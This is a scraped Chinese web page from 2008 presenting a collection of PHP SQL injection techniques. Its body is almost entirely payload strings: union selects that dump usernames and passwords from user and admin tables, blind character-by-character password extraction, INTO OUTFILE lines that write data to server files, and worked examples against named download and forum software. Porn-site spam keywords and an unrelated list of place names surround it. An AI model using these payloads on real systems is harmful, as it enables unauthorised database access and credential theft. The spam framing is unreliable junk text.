最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

高級(jí)php注入方法集錦第1/2頁

 更新時(shí)間:2008年07月19日 19:51:27   作者:  
不論是黑友,還是程序員,都需要了解
'%23 

' and passWord='mypass 

id=-1 union select 1,1,1 

id=-1 union select char(97),char(97),char(97) 

id=1 union select 1,1,1 from members 

id=1 union select 1,1,1 from admin 

id=1 union select 1,1,1 from user 

userid=1 and password=mypass 

userid=1 and mid(password,3,1)=char(112) 

userid=1 and mid(password,4,1)=char(97) 

and ord(mid(password,3,1))>111 (ord函數(shù)很好用,可以返回整形的) 

' and LENGTH(password)='6(探測密碼長度) 

' and LEFT(password,1)='m 

' and LEFT(password,2)='my 

…………………………依次類推 

' union select 1,username,password from user/* 

' union select 1,username,password from user/* 

=' union select 1,username,password from user/* (可以是1或者=后直接跟) 

99999' union select 1,username,password from user/* 

' into outfile 'c:/file.txt (導(dǎo)出文件) 

=' or 1=1 into outfile 'c:/file.txt 

1' union select 1,username,password from user into outfile 'c:/user.txt 

select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt' 

id=' union select 1,username,password from user into outfile 

id=-1 union select 1,database(),version() (靈活應(yīng)用查詢) 

常用查詢測試語句, 

select * FROM table where 1=1 

select * FROM table where 'uuu'='uuu' 

select * FROM table where 1<>2 

select * FROM table where 3>2 

select * FROM table where 2<3 

select * FROM table where 1 

select * FROM table where 1+1 

select * FROM table where 1--1 

select * FROM table where ISNULL(NULL) 

select * FROM table where ISNULL(COT(0)) 

select * FROM table where 1 IS NOT NULL 

select * FROM table where NULL IS NULL 

select * FROM table where 2 BETWEEN 1 AND 3 

select * FROM table where 'b' BETWEEN 'a' AND 'c' 

select * FROM table where 2 IN (0,1,2) 

select * FROM table where CASE WHEN 1>0 THEN 1 END 

例如:夜貓下載系統(tǒng)1.0版本 

id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user 

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 

id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1 

union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替換,尋找密碼) 

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (驗(yàn)證第一位密碼) 

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位) 

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51 

………………………………………………………… 

例如2:灰色軌跡 變換id進(jìn)行測試(meteor) 

union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate 

union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate 

相關(guān)文章

  • PHP使用PDO創(chuàng)建MySQL數(shù)據(jù)庫、表及插入多條數(shù)據(jù)操作示例

    PHP使用PDO創(chuàng)建MySQL數(shù)據(jù)庫、表及插入多條數(shù)據(jù)操作示例

    這篇文章主要介紹了PHP使用PDO創(chuàng)建MySQL數(shù)據(jù)庫、表及插入多條數(shù)據(jù)操作,結(jié)合實(shí)例形式總結(jié)分析了php基于pdo的mysql數(shù)據(jù)庫創(chuàng)建、數(shù)據(jù)表創(chuàng)建以及多條數(shù)據(jù)插入操作相關(guān)實(shí)現(xiàn)技巧,需要的朋友可以參考下
    2019-05-05
  • 用PHP函數(shù)解決SQL injection

    用PHP函數(shù)解決SQL injection

    用PHP函數(shù)解決SQL injection...
    2006-12-12
  • PHP擴(kuò)展mcrypt實(shí)現(xiàn)的AES加密功能示例

    PHP擴(kuò)展mcrypt實(shí)現(xiàn)的AES加密功能示例

    這篇文章主要介紹了PHP擴(kuò)展mcrypt實(shí)現(xiàn)的AES加密功能,結(jié)合實(shí)例形式分析了php基于mcrypt實(shí)現(xiàn)AES加密的相關(guān)操作技巧,需要的朋友可以參考下
    2019-01-01
  • php實(shí)現(xiàn)文件上傳及頭像預(yù)覽功能

    php實(shí)現(xiàn)文件上傳及頭像預(yù)覽功能

    這篇文章主要介紹了php實(shí)現(xiàn)文件上傳及頭像預(yù)覽功能的相關(guān)資料,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2017-01-01
  • PHP實(shí)現(xiàn)下載功能的代碼

    PHP實(shí)現(xiàn)下載功能的代碼

    PHP實(shí)現(xiàn)下載功能的代碼,并實(shí)現(xiàn)安全下載,隱藏文件真實(shí)地址等,需要的朋友可以參考下
    2012-09-09
  • 最新評論

    集贤县| 华容县| 合阳县| 眉山市| 白玉县| 中方县| 广河县| 马边| 渝中区| 镇宁| 两当县| 宜兰市| 山丹县| 新疆| 林周县| 新建县| 亚东县| 鹤山市| 旬阳县| 石林| 荥阳市| 三门县| 广元市| 库尔勒市| 旬阳县| 正镶白旗| 资溪县| 涪陵区| 饶阳县| 和顺县| 绥化市| 九龙县| 大足县| 西乡县| 横山县| 靖边县| 泸水县| 湘西| 丰宁| 彭水| 策勒县|